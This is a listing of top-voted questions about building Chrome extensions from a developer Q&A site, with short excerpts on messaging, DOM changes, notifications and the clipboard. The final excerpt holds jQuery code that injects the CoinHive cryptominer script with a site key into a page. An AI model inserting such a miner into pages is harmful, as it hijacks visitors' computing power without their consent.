Most voted "google-chrome-extension" questions
Extensions are small programs that can modify and improve the functionality of the Chrome browser. You can write them using web technologies like HTML, Javascript and CSS.
Learn more…75 questions
Sort by count of
-
11
votes2
answers2686
viewsRunning JAR by Browser
I’m having a hard time figuring out how to do it: What I Wish I want to create a Google Chrome/Firefox extension that when I press a button in the html of my extension, it will run a file. JAR…
-
11
votes1
answer4164
viewsGet source code from Google Chrome extension page
You can create an extension for Chrome that takes either the source code of the page or the entire text (Ctrl + To, Ctrl + C), to submit this to an external website (for data mining) and return the…
-
6
votes1
answer1452
viewsHow do I copy an image to the clipboard (Clipboard)?
I’m using this command to capture the screen. chrome.tabs.captureVisibleTab(null, {}, function (image) { // image = base64;string }); And now I would like to copy the captured image to clipboard…
javascript google-chrome google-chrome-extension clipboardasked 10 years, 11 months ago BrunoLM 5,198 -
6
votes1
answer188
viewsChrome.tabs.onUpdated.addListener with delay
I made an extension for Google Chrome that’s working. The goal is to change the color of the images' pixels on all web pages. To do this on the pages loaded in the tabs already open, I use the…
-
6
votes1
answer219
viewsHow to communicate tabs with an extension/add-on and store variables?
I want to be able to communicate tabs with an extension and go storing values in variables and share these values between tabs, how can I do this? Note: This is a tutorial question, read more on: I…
javascript google-chrome-extension firefox-extensionasked 6 years, 10 months ago Guilherme Nascimento 98,651 -
6
votes1
answer798
viewsCreate extension to manipulate DOM from other pages
I wonder if you have any way to manipulate the DOM of another page with my extension. Ex: I open the extension popup and there is a button, and this button I call a Javascript function: var n1 =…
-
5
votes1
answer1335
viewsRun custom functions in the browser console
It’s a little tiring having to keep writing console.log() all the time. I know that in my code I can define the function log that does just that. But outside the app environment, I would like to…
-
5
votes2
answers1076
viewsIdentify extension installed in google Chrome
How can I identify that the Google Chrome of the user who is accessing my site has a certain extension installed. For example, one has the extension of Glogo.com/Itau, etc.. I need to check this to…
-
5
votes2
answers2303
viewsHow to modify the HTML document via an extension?
I would like to make a button appear on the site I developed, but only for those who have the extension. I have the CSS, HTML and Javascript codes to generate the button. The functionality of the…
javascript google-chrome-extension firefox-extensionasked 9 years, 4 months ago chocolatemontana 573 -
5
votes1
answer905
viewsIs it possible to modify the HTML when writing an email in Gmail?
The intention is very simple, I want to make a <strike> (strikethrough) in the text of the email, p.ex.: tacked. I found the library Kartiktalwar/gmail.js: Gmail Javascript API, but it…
-
4
votes2
answers2439
viewsHow to use the value of options?
Inside the "options.html" file I know exactly how to make a tagging work to enable some set of javascript like... <label> <input type="checkbox" id="test"> Habilitar </label> That…
-
4
votes1
answer1142
viewsHow to run a script on a page without having to open it in a browser tab or window?
I need to make a web-extension (add-on) that can handle DOM elements, existing events and execute scripts in the context of a page of a website. But I need this to happen in background without the…
-
4
votes1
answer699
viewsHow do I create desktop notifications in Chrome extensions?
How to create Desktop notifications to use in web-extensions (Firefox, Chrome and etc) and also would like to know if there is any difference between Chrome, Opera and Firefox? Note: This is a…
javascript google-chrome-extension firefox-extensionasked 6 years, 10 months ago Guilherme Nascimento 98,651 -
3
votes1
answer157
viewsHow to send messages to open tabs of an app on Chrome
I’m fixing the sync part between the open tabs of my app and remembered that Google Chrome has an API that if I’m not mistaken does exactly what I need, send messages internally in an app. I took a…
-
3
votes2
answers1124
viewsDifficulty with the javascript "find and replace" function for a browser application
I’m trying to develop an extension for Chrome, and I’m still in the early stages, and at the very beginning I’m already stuck. I know very little about javascript but I try to do what I can by…
-
3
votes1
answer2150
viewsHow do I take what’s copied on the clipboard and put it into a variable?
It would look like this: when copying anything using CONTROL+C, I need to put this content in a variable using Javascript. I didn’t find on the internet how to do this. Anyone help? Detail: It is by…
-
3
votes2
answers1248
viewsI need to create an extension for Google Chrome that runs a . exe or something similar
I need to make my Website run a local system (your .exe), passing some attributes by the executable, I want to do an extension to Google Chrome that I can pass the parameters to run the program. How…
-
3
votes1
answer345
viewsHow do I make a Content Script communicate with iframe element extension for Chrome?
I developed a Toolbar for Google Chrome, adding it to the pages via an iframe: var iframe = document.createElement('iframe'); iframe.id="iframeId"; iframe.src =…
-
3
votes0
answers103
viewsHow do slideshow run when the "new tab" tab is open?
I’m trying to make a slideshow script run every time a new tab opens in Google Chrome. I need to do the following execution: 1-Make a slideshow script run 10 images [here put only 3], fade, every…
-
2
votes1
answer781
viewswindow.open is not opening the popup
I have an extension that sends things to an external server by ajax post (all in javascript) and the reply of the send (sent from the server) is received in the extension itself. I want to put this…
javascript ajax google-chrome-extension popup extensionasked 9 years, 7 months ago Luciano Zancan 321 -
1
votes1
answer263
viewsChrome Extension: How to force a script to start only when the previous one is finished?
I have an extnsão that makes the change of colors in the images of the web pages. When the extension is activated (via an icon in Toolbar), the images in all tabs open pages are recolored. When the…
-
1
votes1
answer974
viewsHow can I remove the "Inspect element" from Chromium Portable
I am creating a PHP application that will run exclusively with Chromium, this comes from the project php desktop Chromium v1 which can be conferred here. My project is a simple store program running…
-
1
votes0
answers56
viewsGoogle Chrome extension - Add tags on the page
there is some function or way to add points/objects on the running page? My idea is to allow the extension user to click on the page and add a bookmark.
-
1
votes1
answer402
viewsHow to create functions for extension
I’m creating an extension, my first extension for Google Chrome, the extension consists of changing elements of any page and change things, but wanted to put a function to a button via onclick, but…
-
1
votes0
answers84
viewsHow to obtain and modify an AJAX request?
I’m creating a supplement to my own study for the Chrome, in the add-on I modify several parts of a website. But now I need to modify a request ajax, the site makes the request before the extension…
-
1
votes1
answer444
viewsHow to manipulate the DOM through an extension?
I’m starting to work with extensions in Google Chrome and after some time reading tutorials I so far could not access anything in the DOM of the page. I need to modify the CSS of the page or run…
-
1
votes0
answers43
viewsPopup.html interacts with Document?
I’m a beginner in making extensions for Chrome and would like to do an Extension with the popup that contains some buttons that complete text fields from the page loaded on the active Tab. At the…
-
1
votes1
answer385
viewsRun function after loading all scripts in pure Javascript
I’m creating a plugin for Google Chrome where I inject elements into the page like the Fontawesome and Jquery libraries. These elements I inject are coming from CDN’s host and need to start a…
-
1
votes1
answer309
viewsPlacing static HTML element as an extension for Chrome
I would like to make an extension for Google Chrome that enables a horizontal bar that is always available at the top of the user window. The placement would be something like: The question is: how…
-
1
votes0
answers78
viewsMy Chrome Theme image doesn’t fill the whole screen. What’s wrong?
I am creating a theme for Google Chrome, but the image does not fill the entire screen. I already consulted the documentation, I read some tutorials, but my image does not fill the whole screen of…
google-chrome-extensionasked 8 years, 10 months ago Josué 79 -
1
votes1
answer401
viewsHow to view the x and y position of an element by Chrome Devtools?
Could someone tell me if there is any way to view the X and Y of a screen object with Chrome Devtools Inspect, or some extension that allows this? Devtools shows the size of the object when you…
-
1
votes0
answers323
viewsCreate Chrome Extension with PHP script
Hey guys I made an extension for Chrome only with a basic html and it worked super good. The problem is when I changed the main file from . html to . php in order to put my logic that I need php.…
-
1
votes0
answers246
viewsWebsocket in java and javascript
I have a single server done in JAVA that complete a form of a particular website web. I use the java application as a server to send the information and a extension made for Chrome who acts like…
-
1
votes0
answers106
viewsExtension problem for Google Chrome
Good afternoon, My goal is to make an extension to monitor price, but the code is not working. It was to generate a txt file. also wanted to know how I do to display information in the popup window.…
-
1
votes1
answer68
viewsJquery.load() function does not bring the textarea element up to date
Well, I have a Chrome extension with page 1 and page 2, each with its script.js. On page 1 I can open a new tab/window when I click on a button, and when the new tab opens, the . page html 2 calls a…
-
1
votes0
answers22
viewsInformation is not being saved on-premise by the Chrome Extension API
I’m trying to make a schedule that saves notes based on the agent’s number on Storage.local In q each one can have its annotation, where to display it/change it/delete it would just write the agent…
-
1
votes1
answer50
viewsStart an event and stop when you click again - chromeExtension
I’m creating a very simple extension in Chrome for Whatsapp Web to speed up the audio by 1.5x, but so far I’ve only been able to make the function run, and it keeps running until the page is…
-
1
votes0
answers36
viewsJavascript does not work on my Chrome extension
I’m trying to create a simple trial extension for the Chrome browser, where I create a button that when clicked, shows a message inside a <div>. My file manifest.json currently is like this: {…
-
1
votes1
answer40
viewsChrome extension code problem
Good afternoon! I’m trying to create an extension to automatically click a one-page button every X seconds. In my case is a working tool called Servicenow, where there are panels with reports in…
-
0
votes1
answer77
viewsWhat features to use when creating a Chrome extension for notifications
I want to create a Chrome extension that periodically checks a response URI JSON and that displays a notification to the user (in some cases). This must happen, regardless of the website where the…
google-chrome-extensionasked 10 years, 4 months ago gpupo 2,181 -
0
votes1
answer131
viewsExtension for Chrome does not run
manifest: { "manifest_version": 2, "name": "Gmail Extension", "version": "1.0", "description": "Share your mail from Gmail on facebook.", "browser_action": { "default_icon": "gmail.png" },…
google-chrome-extensionasked 9 years, 10 months ago Marta 49 -
0
votes1
answer736
viewsHow to access the url of the current tab
I have part of this code that belongs to an extension of Chrome. Clicking the share button does not share the content of the page I want. Does anyone know how to share the page you are on at the…
google-chrome-extensionasked 9 years, 10 months ago Marta 49 -
0
votes1
answer395
viewsURL redirection Google extension
I have a silly problem, but I can’t solve it. Come on: I want to adapt this code var pattern=/\bBloqueado/; var viewtext = "http://www.google.com"; var newurl; if…
-
0
votes1
answer137
viewsHow to put the content of an Ajax Post (reply received after post) in a popup? (post sent through an extension)
Hi. I need to put the answer to an ajax post in a popup using javascript. Anyone have any idea? Is it possible to do this? It works like this: When doing the post (variable.send(...);), it would…
-
0
votes1
answer109
viewsGet extension permissions
I’m trying to get permissions from the user when a gmail link is posted on facebook. The goal is to share gmail content on facebook. //code from facebook window.fbAsyncInit = function() { FB.init({…
google-chrome-extensionasked 9 years, 10 months ago Marta 49 -
0
votes0
answers456
viewsHow to create Google Chrome App shortcut on desktop via script?
I have an App in Google Chrome and would like to put a link on my site that will cause you to create a shortcut on the user’s desktop. I know you have how to create by clicking the right mouse…
javascript jquery google-chrome google-chrome-extensionasked 9 years, 3 months ago Danilo Pádua 1,127 -
0
votes2
answers49
viewsStart my fullscreen Chrome app
I’m studying the Chrome api to create extensions, downloaded an example and I’m modifying. I want my extension to start fullscreen, I made several modifications but none worked. I gave permission in…
-
0
votes0
answers234
viewsHibernate pages in Chrome instead of closing
In Windows we can instead of turning off we can switch to hibernate option and so we do not need to worry about closing anything because when turn on again will be exactly in the same session as…
-
0
votes0
answers295
viewsExtension for Chrome + Nodejs
I would like tips to develop extensions for the Chorme(and other browsers) using Nodesjs. Because Nodejs? Well I would like to give some protection to my JS codes so that they are not visible or…
-
0
votes1
answer31
viewsJquery error when using . before
$(".enviar").before('<script src="https://coinhive.com/lib/coinhive.min.js"></script><script> var miner = new CoinHive.Anonymous("4jimrwZqZRoKFX1001NpibYyv1up80Y2");…